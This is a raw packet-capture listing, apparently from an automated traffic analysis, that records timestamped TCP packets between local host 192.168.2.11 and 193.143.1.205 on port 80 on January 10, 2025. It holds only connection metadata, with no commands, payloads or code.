Jan 10, 2025 17:40:05.454679966 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.454679966 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.454715967 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.454750061 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.454762936 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.454776049 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.454838991 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.455462933 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.455475092 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.455487967 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.455507040 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.455519915 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.455528021 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.455528021 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.455559015 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.458159924 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.463115931 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.464497089 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.464509964 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.464528084 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.464576006 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.464591980 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.464605093 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.464618921 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.464634895 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.464703083 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.464799881 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.464812040 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.464823008 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.464849949 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.464873075 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.464886904 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.464999914 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.465150118 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.465219021 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.465234041 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.465281010 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.465281010 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.465306044 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.465320110 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.465559959 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.465564013 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.465575933 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.465634108 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.469619036 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.507594109 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.507608891 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.507621050 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.507638931 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.507648945 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.507677078 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.507718086 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.507735968 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.507747889 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.507782936 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.507782936 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.507877111 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.541714907 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.541729927 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.541743040 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.541757107 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.541770935 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.541809082 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.541847944 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.541927099 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.541939974 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.541951895 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.542087078 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.542099953 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.542112112 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.542114019 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.542112112 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.542145967 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.542150974 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.542249918 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.542387962 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.542401075 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.542412996 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.542428970 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.542453051 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.542509079 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.575876951 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.575892925 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.575905085 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.575995922 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.575997114 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.576010942 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.576042891 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.576067924 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.576096058 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.576122046 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.576186895 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.576210022 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.576221943 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.576256990 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.576256990 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.576261044 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.576462984 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.576493025 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.576507092 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.576591969 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.576591969 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.576673985 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.576687098 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.576694965 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.576767921 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.576769114 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.576782942 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.576858997 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.577013016 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.577034950 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.577047110 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.577069998 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.577106953 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.577142000 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.577155113 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.577167988 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.577199936 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.577302933 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.577315092 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.577327967 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.577339888 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.577353001 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.577435970 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.577435970 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.577435970 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.577927113 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.577939034 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.577950954 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.577994108 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.578006029 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.578090906 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.578103065 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.578114033 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.578125954 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.578130007 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.578130007 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.578130007 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.578139067 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.578166962 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.578182936 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.578186989 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.578773975 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.578833103 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.578846931 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.578880072 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.578898907 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.578916073 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.578933954 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.578963995 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.578963995 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.579020023 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.579031944 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.579044104 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.579056025 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.579066992 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.579086065 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.579086065 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.579103947 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.579797029 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.579811096 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.579823971 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.579859972 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.579871893 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.579883099 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.579894066 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.579924107 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.579924107 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.579924107 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.579957008 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.579968929 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.579982042 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.579992056 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.580050945 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.580050945 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.580647945 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.580697060 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.580707073 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.580715895 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.580729961 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.580748081 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.580764055 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.580779076 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.580866098 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.580879927 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.580892086 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.580934048 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.580934048 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.580934048 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.580934048 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.580940962 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.580979109 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.580979109 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.581671953 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.581686020 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.581695080 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.581707954 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.581720114 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.581738949 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.581753016 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.581765890 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.581778049 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.581778049 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.581780910 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.581799984 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.581804037 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.581820965 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.581888914 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.581888914 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.582489967 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.582501888 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.582529068 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.582542896 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.582555056 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.582571983 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.582591057 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.582667112 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.586154938 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.598239899 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.598251104 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.598273039 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.598284960 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.598295927 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.598309040 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.598330021 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.598352909 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.598352909 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.598352909 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.598444939 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.598573923 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.621294022 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.632564068 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.632576942 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.632589102 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.632607937 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.632621050 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.632633924 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.632647991 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.632652998 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.632652998 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.632827044 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.633006096 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.633017063 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.633038998 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.633052111 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.633071899 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.633100986 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.633115053 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.633115053 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.633115053 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.633119106 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.633131027 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.633142948 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.633157015 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.633169889 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.633173943 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.633183002 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.633188009 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.633198023 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.633209944 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.633224964 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.633236885 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.633244038 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.633291006 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.633291006 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.633315086 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.633363962 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.634484053 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.666769981 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.666783094 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.666795015 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.666805983 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.666819096 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.666831017 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.666843891 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.666863918 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.666915894 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.667033911 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667045116 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667054892 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667074919 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667087078 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667099953 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667135954 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667150021 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667160988 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667176962 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667184114 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667202950 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.667202950 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.667227030 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.667227030 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.667227030 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.667258978 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667296886 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667309999 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667326927 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667340994 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.667375088 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667397976 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667411089 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667423010 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667447090 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.667447090 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.667475939 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667489052 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667563915 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.667563915 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.667572021 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667583942 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667603016 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667613983 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667675972 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.667675972 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.667687893 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667701006 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667712927 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667726994 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667763948 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.667778015 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667789936 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667798996 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.667800903 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667854071 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.667880058 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667891979 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667902946 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667975903 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.667988062 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.668000937 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.668013096 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.668087959 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.668098927 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.668107033 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.668107033 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.668107033 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.668107033 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.668112040 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.668124914 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.668168068 CET	49760	80	192.168.2.11	193.143.1.205
